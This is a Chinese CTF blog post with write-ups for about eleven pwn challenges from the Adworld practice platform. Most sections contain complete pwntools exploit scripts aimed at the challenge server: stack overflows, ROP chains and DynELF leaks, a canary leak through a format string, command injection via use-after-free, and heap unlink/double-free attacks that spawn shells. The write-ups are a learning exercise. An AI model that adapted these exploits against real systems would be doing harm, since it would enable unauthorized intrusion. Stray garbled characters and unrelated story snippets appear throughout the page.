攻防世界高手進(jìn)階pwn

歇了很長(zhǎng)一段時(shí)間肪跋,終于開(kāi)始了我的攻防世界pwn之路。
立一個(gè)flag:每日一題宁炫,只能多不能少偿曙。

0x00 dice_game

檢查保護(hù)


image.png

查看邏輯,這是一個(gè)猜數(shù)游戲羔巢,猜對(duì)50次就可以得到flag望忆。
關(guān)鍵點(diǎn)就在這個(gè)隨機(jī)數(shù)種子,如果把這個(gè)種子設(shè)成0竿秆,又給了libc.so.6,那么這個(gè)隨機(jī)數(shù)就在我們的掌控那個(gè)范圍內(nèi)了启摄。


image.png

漏洞點(diǎn)在read函數(shù),分配了0x50大小的空間幽钢,buf分配了55歉备,這里看到buf與seed偏移為0x40。


image.png
exp:
#-*- coding:utf-8 -*-
from pwn import *
from ctypes import *
#p = process('./dice_game')
p = remote('111.198.29.45',31226)

payload = 'a'*0x40 + p64(0)

lib = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
    a.append(lib.rand()%6+1)
#print(a)
for i in a:
    p.recvuntil("Give me the point(1~6): ")
    p.sendline(str(i))
p.interactive()

0x01 warmup

這里沒(méi)有源碼就很***啊匪燕,我在BUU上找到了源碼蕾羊,還是假吧意思查看保護(hù)。


image.png
image.png

很明顯gets可以溢出帽驯,sub_40060D泄露system地址龟再,然后一把梭。

exp:
#-*- coding:utf-8-*
from pwn import *
p = remote('111.198.29.45',40497)
#p = process('./warmup_csaw_2016')
padding = 0x40 + 8
sys_addr = 0x40060d
payload = 'a'*padding + p64(sys_addr) 
print payload
p.sendline(payload)
p.interactive()

0x02 forgot

檢查保護(hù)


image.png

簡(jiǎn)單看一下邏輯尼变,一直看發(fā)現(xiàn)有點(diǎn)繞利凑,跳到最后看到一個(gè)(*(&v3 + --v14))();,這里調(diào)用了函數(shù)返回一些字符串,又找到一個(gè)system('cat flag')的函數(shù)截碴,那么這道題就是需要覆蓋v3的地址為system的地址梳侨,就是一個(gè)got表的覆蓋吧。


image.png

這里有兩種方法覆蓋日丹,一:在輸入name時(shí)覆蓋走哺;二:在輸入郵箱時(shí)覆蓋。這里使用第二種哲虾,發(fā)現(xiàn)v2與v3偏移是32丙躏。
image.png
exp:
#-*-coding:utf-8-*-
from pwn import *

#p = process('./forgot')
p = remote('111.198.29.45',41636)

sys_addr = 0x80486cc

payload = 'A'* 32 + p32(sys_addr)

print p.recvuntil('> ')
p.sendline('a')
print p.recvuntil('> ')
p.sendline(payload)
print p.recv()

0x03 stack2

檢查保護(hù)


image.png

IDA分析邏輯,得知束凑,這是一個(gè)簡(jiǎn)單的運(yùn)算器的程序晒旅,那么漏洞點(diǎn)在哪里呢?
仔細(xì)分析發(fā)現(xiàn)了這里的v13沒(méi)有檢查長(zhǎng)度汪诉》狭担可以利用,又看到了system('\bin\bash');
是不是很高興扒寄。OK了?


image.png

現(xiàn)在主要就是找偏移了鱼鼓,這里學(xué)習(xí)了其他大佬的WP復(fù)現(xiàn)的。使用IDA動(dòng)態(tài)調(diào)試该编。
首先在漏洞點(diǎn)下斷點(diǎn)迄本,再在程序結(jié)束后的return下斷點(diǎn)


image.png

查看EBP,得到棧基址FF8FC1A8课竣。


image.png

單步往下走嘉赎,到輸入函數(shù)是輸入5,查看棧情況于樟,往下找公条,找到棧頂?shù)刂窞镕F8FC22C,


image.png

這我們就找到偏移量為:hex(0xFF8FC22C-0xFF8FC1A8) = 0x84
寫了腳本還是不對(duì)迂曲。赃份。。奢米。萬(wàn)惡的出題人抓韩。。鬓长。
找到官方WP,得知如下谒拴。需要sh。


image.png

這里0x080848980是‘/bin/bash’, 這里是一個(gè)char型數(shù)組涉波,那么sh就是第八個(gè)元素英上,command[7]炭序,所以地址應(yīng)該是0x08048987。


image.png

地址為小端序存儲(chǔ)苍日,并且是char類型惭聂,占一個(gè)字節(jié),所以按一字節(jié)分割地址相恃,倒序發(fā)送辜纲。首先發(fā)送system地址,再發(fā)送sh地址把sh寫入棧中拦耐。

exp
#-*-coding:utf-8-*-
from pwn import *


#p = process('./stack2')
p = remote('111.198.29.45',46611)

offest = 0x84
system_plt_addr = 0x08048450
sh_addr = 0x08048980+7


def write_addr(offest,res):
    p.sendline('3')
    p.recvuntil("which number to change:")
    p.sendline(str(offest))
    p.recvuntil("new number:")
    p.sendline(str(res))
    p.recvuntil("5. exit")

p.recvuntil("How many numbers you have:")
p.sendline('1')
p.recvuntil("Give me your numbers")
p.sendline('2')
p.recvuntil("5. exit")
    
#寫入system_plt_addr
write_addr(offest,0x50)
write_addr(offest+1,0x84)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
#寫入sh_addr
offest += 8 
write_addr(offest,0x87)
write_addr(offest+1,0x89)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)

p.sendline('5')
p.interactive()

0x04 pwn-100

這道題學(xué)到了很多東西:DynELF模塊泄露system地址耕腾,棧恢復(fù) 杀糯,rop鏈 扫俺。
檢查保護(hù)


image.png

首先是尋找漏洞點(diǎn),很簡(jiǎn)單固翰,read()造成棧溢出狼纬,偏移也容易找到為 0x40+8 。
利用思路:
無(wú)libc骂际,system畸颅。這時(shí)就可以利用pwntools里的DynELF模塊泄露system地址,再寫入'/bin/sh' 方援,最后調(diào)用system。
首先找到 pop rdi ; ret 涛癌,注意:x64中犯戏,主要使用__libc_csu_init中的兩段代碼來(lái)進(jìn)行參數(shù)傳遞和函數(shù)調(diào)用,這兩段代碼分別位于0x400740和0x40075a拳话,并且這兩段代碼執(zhí)行后會(huì)將棧移動(dòng)56字節(jié)先匪,使用后需要再填充56字節(jié)。

:~/桌面/temp/功放世界$ ROPgadget --binary pwn-100 --only "pop|ret" | grep "rdi"
0x0000000000400763 : pop rdi ; ret

再找可寫入的地址: 0x00600e10 ~ 0x00601068

gdb-peda$ vmmap
Warning: not running
Start              End                Perm  Name
0x004004c8         0x0040077d         rx-p  /home/dj/桌面/temp/功放世界/pwn-100
0x00400238         0x00400904         r--p  /home/dj/桌面/temp/功放世界/pwn-100
0x00600e10         0x00601068         rw-p  /home/dj/桌面/temp/功放世界/pwn-100

我們使用DyELF循環(huán)泄露地址弃衍,每次循環(huán)一次就調(diào)用start(就是main()函數(shù)執(zhí)行之前所作的事情)進(jìn)行椦椒牵恢復(fù)。這里有DynELF的exp模板

exp
#-*-coding:utf-8 -*-
from pwn import *

p = remote('111.198.29.45',40827)
#p = process('./pwn-100')
elf = ELF('./pwn-100')

start_addr = 0x400550
pop_rdi_ret = 0x400763

rop1 = 0x0400740
rop2 = 0x040075a
write_addr = 0x60107c #在這個(gè)范圍內(nèi)(0x00600e10 镜盯, 0x00601068)都可以

puts_addr = elf.plt['puts']
read_addr = elf.got['read']

def leak(addr):
    payload = 'a'*0x48 
    payload += p64(pop_rdi_ret) + p64(addr) + p64(puts_addr) + p64(start_addr)
    payload = payload.ljust(200,'a') 
    #循環(huán)泄露地址岸裙,payload填充為200字節(jié)。
    p.send(payload)
    p.recvuntil("bye~\n")
    
    count = 0
    up = ""
    data = ''
    while True:
        c = p.recv(numb = 1,timeout = 0.5)#等待0.5s接收輸出
        count +=1
        if up == '\n' and c == '':
            data = data[:-1]
            data += '\x00' 
            break
        else:
            data += c
        up = c
    data = data[:8]
    log.info("%#x => %s" % (addr, (data or '').encode('hex')))
    return data

#泄露system地址
d = DynELF(leak, elf=elf)
sys_addr = d.lookup('__libc_system','libc')
print 'sys_addr:',hex(sys_addr)
print "write /bin/sh to bss"

#構(gòu)造read函數(shù)payload
payload1 = 'a'*0x48 
payload1 += p64(rop2) + p64(0) + p64(1) 
payload1 + p64(read_addr) + p64(8) + p64(write_addr) + p64(0) + p64(rop1)
payload1 +=  'a' * 56 + p64(start_addr)  # 填充56字節(jié)
payload1 = payload1.ljust(200,'a')

p.send(payload1)
print p.recvuntil('bye~\n')
#寫入‘/bin/sh’
p.send("/bin/sh\x00")

#調(diào)用system()
payload2 = 'a'*0x48 + p64(pop_rdi_ret) + p64(write_addr) + p64(sys_addr) + p64(start_addr)
payload2 = payload2.ljust(200,'a')
p.send(payload2)
p.interactive()

0x05 Mary_morton

檢查保護(hù)


image.png

分析邏輯速缆,其中一個(gè)格式化字符漏洞降允,一個(gè)棧溢出,還有system('cat flag')艺糜。但是程序開(kāi)啟了canary保護(hù)剧董。紅色框出來(lái)的就是canary保護(hù)幢尚,如果rax與0x28異或不等于0就運(yùn)行___stack_chk_fail,程序檢測(cè)異常直接退出翅楼。


image.png

利用思路:
通過(guò)格式化字符漏洞獲得canary值尉剩,在利用棧溢出布局棧結(jié)構(gòu)把canary放上去,繞過(guò)保護(hù)后調(diào)用system()毅臊。

OK理茎,先分析格式化字符漏洞的偏移,buf與v2連續(xù)褂微,得到buf大小為0x90-0x8 = 0x88功蜓,由于是64位程序,在寫入?yún)?shù)是先傳入那六個(gè)寄存器(rdi宠蚂,rsi式撼,rdx,rcx求厕,r8著隆,r9 ),所以偏移為 0x88 / 8 + 6 = 23 字節(jié) 呀癣。


image.png

再分析棧溢出的偏移美浦,這里不用傳參,直接就是buf的大邢罾浮:0x88 浦辨。


image.png
exp
#-*- coding:utf-8 -*-
from pwn import *

p = remote('111.198.29.45',35986)
#p = process('./Mary_Morton')

sys_addr = 0x04008DA

p.recvuntil('3. Exit the battle ')
p.sendline('2')
p.sendline('%23$p') # 格式化字符串可以使用一種特殊的表示形式來(lái)指定處理第n個(gè)參數(shù)
                    # %后加輸出的第幾個(gè)值,$后加以什么形式輸出沼沈,這里需要輸出地址就使用p流酬。
sleep(0.5)
p.recvuntil('0x')

canary = int(p.recv(16),16)
print "canary_addr  = ",hex(canary)
p.recvuntil('3. Exit the battle ')
p.sendline('1')

payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr) #

p.sendline(payload)
p.interactive()  

0x06 monkey

一臉懵逼,查看WP列另,直接os.system('/bin/sh') 芽腾,就得到shell了,js咱也不會(huì)啊页衙。

0x07 time_formatter

終于做到堆題了摊滔,日常自閉。
IDA 分析店乐,程序有五個(gè)功能

image.png

第一個(gè)函數(shù)跟進(jìn)里面有個(gè)strdup()函數(shù)艰躺,strdup()說(shuō)明:返回指向被復(fù)制的字符串的指針,所需空間由malloc()分配且可以由free()釋放眨八。這里就是通過(guò)malloc()給ptr分配空間描滔。

image.png

還看到這里有設(shè)置輸出時(shí)間的類型,其實(shí)就是date命令的參數(shù)踪古。

image.png

第二個(gè)貌似沒(méi)什么用含长,就不分析了券腔,看到第三個(gè)函數(shù),又是通過(guò)malloc()給value分配空間拘泞。

image.png

第四個(gè)函數(shù)是對(duì)設(shè)置的時(shí)間格式輸出纷纫,我們看到我們的輸入會(huì)放到下面的system()中執(zhí)行。

image.png

第五個(gè)函數(shù)這里就有一個(gè)UAF (Use After Free)漏洞陪腌,是先f(wàn)ree()再詢問(wèn)是否真的退出辱魁。

image.png

所以我們利用這個(gè)漏洞,先調(diào)用第一個(gè)函數(shù)诗鸭,然后free()掉染簇,再調(diào)用第二個(gè)函數(shù)時(shí)傳入 ';/bin/sh #\ ,這里注意命令的閉合强岸。這里value就重用了剛剛沒(méi)有內(nèi)存回收的ptr塊锻弓。再調(diào)用第四個(gè)函數(shù)將剛剛value的值作為system()的參數(shù)。就得到了shell蝌箍。

exp:
#-*-coding: utf-8-*-
from pwn import *

p = remote('111.198.29.45',43208)
#p = process('./time_formatter')

print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')

print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')

print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')

p.sendline('cat flag')
print p.recv()

0x08 pwn-200

簡(jiǎn)單的棧溢出青灼,開(kāi)啟了NX保護(hù),不能使用shellcode妓盲,無(wú)libc杂拨,所以使用DynELF模塊泄露system地址。最后需要椕醭模恢復(fù)弹沽,再調(diào)用system(‘/bin/sh\00')函數(shù)得到shell。

exp:
#-*-coding:utf-8-*-
from pwn import *

p = remote('111.198.29.45',45300)
# p = process('./pwn-200')

elf = ELF('./pwn-200')
ppp_addr = 0x0804856c
start_addr = 0x080483D0
fun_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = elf.bss()
offest = 0x6c + 4

def leak(addr):
    payload = 'a'*offest + p32(write_plt) + p32(fun_addr) + p32(1)
    payload += p32(addr) + p32(4)
    p.send(payload)
    res = p.recv(4)
    return res
print p.recv()
d = DynELF(leak,elf = ELF('./pwn-200'))
system_addr = d.lookup('system','libc')

payload = 'a'*offest + p32(start_addr)
p.sendline(payload)
print p.recv()

payload = 'a'*offest + p32(read_plt) + p32(ppp_addr) + p32(0)
payload += p32(bss_addr) + p32(8) + p32(system_addr) + p32(fun_addr)
payload += p32(bss_addr) + '/bin/sh\00' 
p.send(payload)
p.interactive()

0x09 4-ReeHY-main-100

檢查保護(hù)


image.png

IDA分析筋粗,菜單類型的題目策橘。查看各個(gè)功能:寫、刪除亏狰、編輯、打印(這個(gè)功能沒(méi)用)偶摔,在”寫“功能里面發(fā)現(xiàn)暇唾,size 和 cun 輸入是有符號(hào)數(shù),所以可以輸入負(fù)數(shù)辰斋,在read時(shí)轉(zhuǎn)化成無(wú)符號(hào)數(shù)會(huì)變成很大的整數(shù)策州,造成整型溢出。

 if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = sub_400C55("Input size");
    LODWORD(nbytes) = result;
    if ( result <= 0x1000 )
    {
      puts("Input cun");
      result = sub_400C55("Input cun");
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 0x70 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }

再分析“刪除”功能宫仗,這里沒(méi)有判斷堆塊是否存在就free,所以可以double-free够挂。

__int64 sub_400B21()
{
  __int64 result; // rax
  int v1; // [rsp-4h] [rbp-4h]

  puts("Chose one to dele");
  result = sub_400C55("Chose one to dele");
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (signed int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(dword_6020AC-- - 1);
  }
  return result;
}

在分析”修改“功能,這里是修改內(nèi)容藕夫,驗(yàn)證了堆塊是否存在孽糖。

int sub_400BA1()
{
  int result; // eax
  int v1; // [rsp-4h] [rbp-4h]

  puts("Chose one to edit");
  result = sub_400C55("Chose one to edit");
  v1 = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}
解題思路:

1.首先申請(qǐng)兩個(gè)堆塊0枯冈、1(這里申請(qǐng)的大小要合適,必須使用small bin后面才會(huì)unlink)办悟。
2.然后free堆塊0尘奏、1,堆塊0做為unlink的塊病蛉,堆塊1做為free的塊炫加。
3.申請(qǐng)一個(gè)大小為 “堆塊0加堆塊1的大小“ 的堆塊,這樣會(huì)合并剛剛free的兩個(gè)堆塊铺然。這時(shí)需要構(gòu)造payload(具體看下面exp)欺騙系統(tǒng)堆塊0已經(jīng)被free了俗孝。
4.利用double-free,再free掉堆塊1,這樣使指針指向堆塊1的前三個(gè)字節(jié)魄健。
5.修改堆塊0赋铝,將前三個(gè)字節(jié)覆蓋掉,然后修改為free的GOT表地址和atoi的GOT表地址(用于計(jì)算偏移)诀艰。
6.再次修改堆塊0柬甥,修改free為puts的plt地址,目的是將atoi的地址打印出來(lái)其垄。
7.計(jì)算偏移苛蒲,得到system地址,傳入‘/bin/sh‘得到shell绿满。

(盜一下圖)

chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
|                     |                     |             |
+-----------+---------+---+---+-------------+------+------+----+----+------+
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             | prev | size&|    |    |      |
| prev_size |size&Flag|   |   |             | size | flag |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
+-----------+---------+---+---+-------------+------+------+----+----+------+
hunk0                malloc返回的ptr           chunk1        malloc返回的ptr
|                     |                        |             |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
|           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
| prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
|           |         |    |    |    |    | A  |      |      |    |    |      |
|           |         |    |    |    |    |    |      |      |    |    |      |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
                      |-------new_chunk0-------|

exp:

# -*- coding: utf-8 -*-  
from pwn import*
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level="debug") 

def Welcome():
    p.recvuntil("$ ")
    p.sendline("mutepig")
 
def Add(size,id,content):
    p.recvuntil("$ ")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("cun\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.sendline(content)
 
def Remove(id):
    p.recvuntil("$ ")
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(id))
 
def Edit(id,content):
    p.recvuntil("$ ")
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.send(content)

if 0:  # local
    p = process("./4-ReeHY-main")
else:
    p = remote('111.198.29.45',57450)
elf = ELF('4-ReeHY-main')
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
heap_addr = 0x602100

print hex(free_got)
Welcome()
Add(512,0,"/bin/sh\x00")
Add(512,1,"11111111")
Add(512,2,"22222222")
Add(512,3,"33333333")

Remove(3)   
Remove(2)
print hex(heap_addr)

payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)
payload +=  'A'*(512-0x20) + p64(512) + p64(512)

Add(1024,2,payload)
Remove(3)  #double free后臂外,此時(shí)2的指針指向存放該指針的前3字節(jié),在棧上

Edit(2,'1'*0x18 + p64(free_got)+p64(1)+p64(atoi_got))   
#這里修改的是存放指向2和3的指針的位置喇颁,edit后漏健,原本指向2的指針已指向got表中的free
#原本指向3的指針指向got表中atoi函數(shù)的位置,用于泄露atoi函數(shù)的地址橘霎。

Edit(2,p64(puts_plt))   #修改free為puts
Remove(3)              #相當(dāng)于puts(got[atoi])

atoi_addr=p.recv(6)
atoi_addr=atoi_addr.ljust(8,'\x00')
atoi_addr = u64(atoi_addr)
obj=LibcSearcher("atoi",atoi_addr)
base_addr = atoi_addr - obj.dump('atoi')
print "======="+hex(base_addr)

system_addr = base_addr + obj.dump('system')
Edit(2,p64(system_addr))

Remove(0)
p.interactive()


0x10 babyfenngshui

#-*- coding:utf-8-*-
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',35423)
elf=ELF('./babyfengshui')
#libc = ELF('libc.so.6')
obj=LibcSearcher('free',0xf7659750)
def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)

add_note(0x80,0x80,'abcd')
add_note(0x80,0x80,'efgh')
add_note(0x8,0x8,'/bin/sh\00')

delete_note(0)

add_note(0x100,0x19c,'a'*0x198 + p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)

system_addr = free_addr - (obj.dump('free') - obj.dump('system'))
log.info("system_addr 0x%x" % system_addr)
update_note(1,0x4,p32(system_addr))

delete_note(2)

p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末蔫浆,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子姐叁,更是在濱河造成了極大的恐慌瓦盛,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,451評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件外潜,死亡現(xiàn)場(chǎng)離奇詭異原环,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)处窥,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,172評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門嘱吗,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人滔驾,你說(shuō)我怎么就攤上這事谒麦《矶铮” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,782評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵弄匕,是天一觀的道長(zhǎng)颅悉。 經(jīng)常有香客問(wèn)我,道長(zhǎng)迁匠,這世上最難降的妖魔是什么剩瓶? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,709評(píng)論 1 294
  • 正文 為了忘掉前任,我火速辦了婚禮城丧,結(jié)果婚禮上延曙,老公的妹妹穿的比我還像新娘。我一直安慰自己亡哄,他們只是感情好枝缔,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,733評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著蚊惯,像睡著了一般愿卸。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上截型,一...
    開(kāi)封第一講書(shū)人閱讀 51,578評(píng)論 1 305
  • 那天趴荸,我揣著相機(jī)與錄音,去河邊找鬼宦焦。 笑死醋闭,一個(gè)胖子當(dāng)著我的面吹牛丘跌,可吹牛的內(nèi)容都是我干的思恐。 我是一名探鬼主播驱还,決...
    沈念sama閱讀 40,320評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼精堕!你這毒婦竟也來(lái)了孵淘?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,241評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤歹篓,失蹤者是張志新(化名)和其女友劉穎瘫证,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體滋捶,經(jīng)...
    沈念sama閱讀 45,686評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡痛悯,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,878評(píng)論 3 336
  • 正文 我和宋清朗相戀三年余黎,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了重窟。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,992評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡惧财,死狀恐怖巡扇,靈堂內(nèi)的尸體忽然破棺而出扭仁,到底是詐尸還是另有隱情,我是刑警寧澤厅翔,帶...
    沈念sama閱讀 35,715評(píng)論 5 346
  • 正文 年R本政府宣布乖坠,位于F島的核電站,受9級(jí)特大地震影響刀闷,放射性物質(zhì)發(fā)生泄漏熊泵。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,336評(píng)論 3 330
  • 文/蒙蒙 一甸昏、第九天 我趴在偏房一處隱蔽的房頂上張望顽分。 院中可真熱鬧,春花似錦施蜜、人聲如沸卒蘸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,912評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)缸沃。三九已至,卻和暖如春修械,著一層夾襖步出監(jiān)牢的瞬間趾牧,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,040評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工祠肥, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留武氓,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,173評(píng)論 3 370
  • 正文 我出身青樓仇箱,卻偏偏與公主長(zhǎng)得像县恕,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子剂桥,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,947評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 0x00 get_shell 0x01 CGfsb 首先檢查保護(hù) nc連接輸入信息為aaaa加很多個(gè)控制字符發(fā)現(xiàn)p...
    Adam_0閱讀 7,735評(píng)論 0 30
  • 新手練習(xí) CGfsb 簡(jiǎn)單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,257評(píng)論 0 6
  • Lua 5.1 參考手冊(cè) by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 13,798評(píng)論 0 38
  • 近來(lái)較忙忠烛,每次從公司出來(lái),看到那家的燈還亮著权逗,就有一種暗自慶幸的感覺(jué)美尸。 覺(jué)得當(dāng)初真是明智,主動(dòng)并決絕地離開(kāi)斟薇,一個(gè)大...
    米思悟閱讀 100評(píng)論 0 1
  • 重啟電腦师坎,過(guò)程中按住 command+R,進(jìn)入保護(hù)模式 打開(kāi)terminal終端堪滨,輸入 csrutil disab...
    Jniying閱讀 1,810評(píng)論 0 0